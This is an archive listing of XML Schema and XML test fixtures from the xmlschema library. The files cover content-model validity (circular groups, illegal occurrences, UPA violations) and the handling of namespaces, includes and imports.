</xs:schema>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/circular_model.xsd���������������������������������0000664�0000000�0000000�00000000455�15020401055�0025575�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema test for a disallowed circular model (see issue #58). --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:group name="Test-G"> <xs:sequence> <xs:group minOccurs="0" ref="Test-G" /> </xs:sequence> </xs:group> </xs:schema>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/illegal-attributes.xsd�����������������������������0000664�0000000�0000000�00000000327�15020401055�0026404�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:annotation ciao="10" xml:lang="en"/> <!-- Illegal attribute --> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/illegal-declarations.xsd���������������������������0000664�0000000�0000000�00000001207�15020401055�0026664�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- A sample schema for testing model validation --> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:anyattribute notNamespace="#all"> <!-- Illegal declaration --> </xs:anyattribute> <!-- Unexpected attribute declarations (should be inside extension tag) --> <xs:complexType name="A" mixed="true"> <xs:simpleContent> <xs:extension base="xs:string"/> </xs:simpleContent> <xs:attribute name="a1" type="xs:short"/> <xs:attribute name="a2" type="xs:negativeInteger"/> </xs:complexType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/illegal-occurs.xsd���������������������������������0000664�0000000�0000000�00000001013�15020401055�0025505�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Illegal minOccurs and maxOccurs declarations --> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:element name="data"> <xs:complexType> <xs:sequence> <xs:element name="comment" type="xs:string" minOccurs="4" maxOccurs="3"/> <xs:element name="name" type="xs:string" minOccurs="4" maxOccurs="2"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/invalid_models1.xsd��������������������������������0000664�0000000�0000000�00000002250�15020401055�0025656�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema test for invalid models: UPA violations with a substitution group head and element. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element type="xs:int" name="a"/> <xs:element type="xs:int" name="b" substitutionGroup="a" /> <xs:complexType name="wrong_type1"> <xs:all> <xs:element ref="a"/> <xs:element ref="b"/> </xs:all> </xs:complexType> <xs:complexType name="wrong_type2"> <xs:all> <xs:element ref="b"/> <xs:element ref="a"/> </xs:all> </xs:complexType> <xs:complexType name="wrong_type3"> <xs:choice> <xs:element ref="a"/> <xs:element ref="b"/> </xs:choice> </xs:complexType> <xs:complexType name="good_type1"> <xs:sequence> <xs:element ref="a"/> <xs:element ref="b"/> </xs:sequence> </xs:complexType> <xs:complexType name="wrong_type4"> <xs:sequence> <xs:element ref="a" maxOccurs="unbounded"/> <xs:element ref="b"/> </xs:sequence> </xs:complexType> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/invalid_models2.xsd��������������������������������0000664�0000000�0000000�00000003005�15020401055�0025656�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- Schema test for invalid XSD 1.0 models: UPA violations that involve wildcards and elements. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns" xmlns="http://xmlschema.test/ns" xmlns:other-ns="http://xmlschema.test/other-ns"> <xs:import namespace='http://xmlschema.test/other-ns' schemaLocation='other-ns.xsd'/> <xs:element name="elem0" type="xs:string"/> <!-- UPA violation (any with minOccurs < maxOccurs and ambiguity with elem0 validation) --> <xs:element name='elem1'> <xs:complexType> <xs:sequence> <xs:any namespace='##targetNamespace' minOccurs='0'/> <xs:element ref='elem0'/> </xs:sequence> </xs:complexType> </xs:element> <!-- UPA violation (any and elem0 overlap and choice model) --> <xs:element name='elem2'> <xs:complexType> <xs:choice> <xs:any namespace='##targetNamespace'/> <xs:element ref='elem0'/> </xs:choice> </xs:complexType> </xs:element> <!-- UPA violation (any with minOccurs < maxOccurs and ambiguity with other-ns:elem0) --> <xs:element name='elem3'> <xs:complexType> <xs:sequence> <xs:any namespace='##other' minOccurs='0'/> <xs:element ref='other-ns:elem0'/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/model1.xml�����������������������������������������0000664�0000000�0000000�00000000462�15020401055�0023772�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <ns:data xmlns:ns="ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="ns ./models.xsd"> <name>Paul</name> <name>Paul</name> <name>Paul</name> <name>Paul</name> <name>Paul</name> <name>Paul</name> </ns:data> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/models.xsd�����������������������������������������0000664�0000000�0000000�00000011272�15020401055�0024073�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- A schema for testing model validation with ModelVisitor class --> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:element name="data"> <xs:complexType> <xs:sequence> <xs:element name="comment" type="xs:string" minOccurs="4" maxOccurs="10"/> <xs:element name="name" type="xs:string" maxOccurs="3"/> </xs:sequence> </xs:complexType> </xs:element> <!-- Groups for model validation tests --> <xs:group name="group1"> <xs:sequence> <xs:element name="elem1" type="xs:string" minOccurs="0" /> <xs:element name="elem2" type="xs:string" minOccurs="0" /> <xs:element name="elem3" type="xs:string" minOccurs="0" /> </xs:sequence> </xs:group> <xs:group name="group2"> <xs:sequence> <xs:element name="elem1" type="xs:string" minOccurs="0" /> <xs:choice minOccurs="0"> <xs:group ref="group1"/> <xs:sequence> <xs:element name="elem2" type="xs:string" maxOccurs="unbounded"/> </xs:sequence> <xs:sequence> <xs:element name="elem3" type="xs:string" maxOccurs="unbounded"/> </xs:sequence> <xs:element name="elem4" /> <xs:sequence> <xs:element name="elem5" minOccurs="0" maxOccurs="unbounded" /> </xs:sequence> <xs:sequence> <xs:element name="elem6" type="xs:string" maxOccurs="4"/> <xs:element name="elem7" type="xs:string" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> <xs:sequence> <xs:element name="elem8" type="xs:string" minOccurs="2" maxOccurs="2"/> <xs:element name="elem9" type="xs:string" /> <xs:element name="elem10" type="xs:string" /> </xs:sequence> <xs:element name="elem11" /> </xs:choice> <xs:element name="elem12" type="xs:string" minOccurs="0" maxOccurs="unbounded"/> <xs:element name="elem13" type="xs:string" minOccurs="0" maxOccurs="unbounded"/> </xs:sequence> </xs:group> <xs:group name="group3"> <xs:sequence> <xs:element name="elem1" /> <xs:element minOccurs="0" name="elem2" /> <xs:element name="elem3" /> </xs:sequence> </xs:group> <xs:group name="group4"> <xs:all> <xs:element name="elem1" /> <xs:element minOccurs="0" name="elem2" /> <xs:element name="elem3" /> </xs:all> </xs:group> <xs:group name="group5"> <xs:sequence> <xs:sequence> <xs:element name="elem1" /> <xs:element name="elem2" /> <xs:element name="elem3" /> <xs:element name="elem4" /> <xs:element name="elem5" /> </xs:sequence> <xs:sequence> <xs:choice> <xs:element name="elem6" /> <xs:element name="elem7" /> </xs:choice> <xs:element minOccurs="0" name="elem8" /> <xs:element minOccurs="0" name="elem9" /> </xs:sequence> </xs:sequence> </xs:group> <xs:group name="group6"> <xs:choice> <xs:sequence> <xs:element name="elem1" type="xs:string"/> <xs:element name="elem2" type="xs:string" /> </xs:sequence> <xs:sequence> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem4" type="xs:string" /> </xs:sequence> </xs:choice> </xs:group> <xs:group name="group7"> <xs:sequence> <xs:element name="elem1" type="xs:string"/> <xs:element name="elem2" type="xs:string" minOccurs="0"/> </xs:sequence> </xs:group> <xs:complexType name="complexType7"> <xs:group ref="group7" /> </xs:complexType> <xs:complexType name="complexType7_emptiable"> <xs:group ref="group7" minOccurs="0"/> </xs:complexType> <xs:group name="group8"> <xs:sequence> <xs:sequence> <xs:element name="elem1" maxOccurs="unbounded"/> <xs:element name="elem2" minOccurs="0"/> <xs:element name="elem3" minOccurs="0"/> <xs:element name="elem4" minOccurs="0"/> </xs:sequence> <xs:sequence/> </xs:sequence> </xs:group> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/other-ns.xsd���������������������������������������0000664�0000000�0000000�00000000315�15020401055�0024343�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/other-ns"> <xs:element name="elem0" type="xs:string"/> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/recursive-groups.xsd�������������������������������0000664�0000000�0000000�00000001370�15020401055�0026132�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="A" type="xs:string"/> <xs:element name="B" type="xs:string"/> <!-- Circularity between two groups --> <xs:group name="group1"> <xs:sequence> <xs:element ref="A"/> <xs:group ref="group2"/> </xs:sequence> </xs:group> <xs:group name="group2"> <xs:sequence> <xs:element ref="B"/> <xs:group ref="group1"/> </xs:sequence> </xs:group> <!-- Self circularity case--> <xs:group name="groupC"> <xs:sequence> <xs:element ref="A"/> <xs:group ref="groupC"/> </xs:sequence> </xs:group> </xs:schema>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/models/valid_model1.xsd�����������������������������������0000664�0000000�0000000�00000002046�15020401055�0025147�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- A valid schema model (related to issue #182). --> <xs:schema xmlns="ns" xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="ns" > <xs:element name="elem1" type="xs:string" /> <xs:element name="elem2" type="xs:string" /> <xs:element name="elem3" type="xs:string" /> <xs:element name="elem4" type="xs:string" /> <xs:complexType name="type1"> <xs:sequence> <xs:element ref="elem1" maxOccurs="10" /> <xs:choice> <xs:sequence> <xs:choice> <xs:element ref="elem2" /> <xs:element ref="elem3" /> </xs:choice> </xs:sequence> <xs:sequence> <xs:element ref="elem4" /> <xs:choice> <xs:element ref="elem2" minOccurs="0" /> <xs:element ref="elem3" minOccurs="0" /> </xs:choice> </xs:sequence> </xs:choice> </xs:sequence> </xs:complexType> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/�����������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022721�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/chameleon1.xsd���������������������������������0000664�0000000�0000000�00000000227�15020401055�0025456�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:element name="root" type="rootType"/> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/chameleon2.xsd���������������������������������0000664�0000000�0000000�00000000315�15020401055�0025455�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ns="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:element name="root" type="ns:rootType"/> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/chameleon3.xsd���������������������������������0000664�0000000�0000000�00000000420�15020401055�0025453�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ns="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:import namespace="http://example.com/xmlschema/namespaces"/> <xs:element name="root" type="ns:rootType"/> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/default_ns_invalid.xsd�������������������������0000664�0000000�0000000�00000000663�15020401055�0027300�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An invalid usage of the default namespace: it isn't mapped to targetNamespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:element name="root" type="rootType"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> �����������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/default_ns_valid1.xsd��������������������������0000664�0000000�0000000�00000000741�15020401055�0027027�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid usage of the default namespace: mapped by an explicit declaration. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:element name="root" type="rootType"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> �������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/default_ns_valid2.xsd��������������������������0000664�0000000�0000000�00000000567�15020401055�0027036�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid usage of the default namespace: for default is mapped to no namespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:element name="root" type="rootType"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/dynamic-case1-2.xml����������������������������0000664�0000000�0000000�00000000400�15020401055�0026212�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="dynamic-case1.xsd"> <elem1>foo</elem1> <elem2 xsi:noNamespaceSchemaLocation="dynamic-case1-override.xsd"/> </root> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/dynamic-case1-overlap.xsd����������������������0000664�0000000�0000000�00000000251�15020401055�0027523�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1" /> <xs:element name="elem3" /> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/dynamic-case1-override.xsd���������������������0000664�0000000�0000000�00000000336�15020401055�0027676�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:override schemaLocation="dynamic-case1.xsd"> <xs:element name="elem1" type="xs:int"/> </xs:override> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/dynamic-case1.xml������������������������������0000664�0000000�0000000�00000000365�15020401055�0026065�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="dynamic-case1.xsd"> <elem1 xsi:noNamespaceSchemaLocation="dynamic-case1-overlap.xsd"/> <elem2/> </root> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/dynamic-case1.xsd������������������������������0000664�0000000�0000000�00000000700�15020401055�0026054�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A base schema for dynamic loading driven by XSI schema locations. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="elem1" /> <xs:element name="elem2" /> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element ref="elem1" /> <xs:element ref="elem2" /> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> ����������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case1.xsd�������������������������������0000664�0000000�0000000�00000001066�15020401055�0025750�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An invalid import case: the default namespace is mapped to targetNamespace but the imported chameleon schema still maps default namespace to no namespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:import schemaLocation="chameleon1.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case2.xsd�������������������������������0000664�0000000�0000000�00000001066�15020401055�0025751�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An invalid import case: the default namespace is mapped to targetNamespace but the imported chameleon schema still maps default namespace to no namespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:import schemaLocation="chameleon2.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case3.xsd�������������������������������0000664�0000000�0000000�00000000664�15020401055�0025755�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid import case: imported chameleon schema imports the target namespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:import schemaLocation="chameleon3.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ����������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case4-1.xml�����������������������������0000664�0000000�0000000�00000000361�15020401055�0026110�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <b:rootB xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/xmlschema/ns-A import-case4a.xsd" xmlns:b="http://example.com/xmlschema/ns-B" /> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case4-2.xml�����������������������������0000664�0000000�0000000�00000000474�15020401055�0026116�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <a:rootA xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://example.com/xmlschema/ns-B import-case4b.xsd" xmlns:a="http://example.com/xmlschema/ns-A" xmlns:b="http://example.com/xmlschema/ns-B"> <b:rootB/> </a:rootA>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case4a.xsd������������������������������0000664�0000000�0000000�00000001320�15020401055�0026105�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An valid import case: two namespaces, each one with a global element that can be used as valid root element for XML instances. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:a="http://example.com/xmlschema/ns-A" xmlns:b="http://example.com/xmlschema/ns-B" targetNamespace="http://example.com/xmlschema/ns-A" elementFormDefault="qualified"> <xs:import schemaLocation="import-case4b.xsd" namespace="http://example.com/xmlschema/ns-B"/> <xs:element name="rootA" type="a:rootType"/> <xs:complexType name="rootType"> <xs:sequence> <xs:element ref="b:rootB" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case4b.xsd������������������������������0000664�0000000�0000000�00000001320�15020401055�0026106�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- An valid import case: two namespaces, each one with a global element that can be used as valid root element for XML instances. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:a="http://example.com/xmlschema/ns-A" xmlns:b="http://example.com/xmlschema/ns-B" targetNamespace="http://example.com/xmlschema/ns-B" elementFormDefault="qualified"> <xs:import schemaLocation="import-case4a.xsd" namespace="http://example.com/xmlschema/ns-A"/> <xs:element name="rootB" type="b:rootType"/> <xs:complexType name="rootType"> <xs:sequence> <xs:element ref="a:rootA" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case5a.xsd������������������������������0000664�0000000�0000000�00000000555�15020401055�0026117�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid schema for testing custom imports with schema location hints. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns"> <xs:simpleType name="aType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case5b.xsd������������������������������0000664�0000000�0000000�00000000571�15020401055�0026116�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid schema for testing custom imports with schema location hints. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/other-ns" targetNamespace="http://xmlschema.test/other-ns"> <xs:simpleType name="bType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ���������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/import-case5c.xsd������������������������������0000664�0000000�0000000�00000000573�15020401055�0026121�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid schema for testing custom imports with schema location hints. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/other-ns2" targetNamespace="http://xmlschema.test/other-ns2"> <xs:simpleType name="bType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> �������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case1.xsd������������������������������0000664�0000000�0000000�00000000770�15020401055�0026062�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid include of a chameleon schema using an explicit declaration of the default namespace. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://example.com/xmlschema/namespaces" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="chameleon1.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> ��������xmlschema-4.1.0/tests/test_cases/features/namespaces/include-case1bis.xsd���������������������������0000664�0000000�0000000�00000000663�15020401055�0026561�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- A valid include using the default namespace, including a chameleon schema. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://example.com/xmlschema/namespaces" elementFormDefault="qualified"> <xs:include schemaLocation="chameleon1.xsd"/> <xs:simpleType name="rootType"> <xs:restriction base="xs:string"/> </xs:simpleType> </xs:schema> 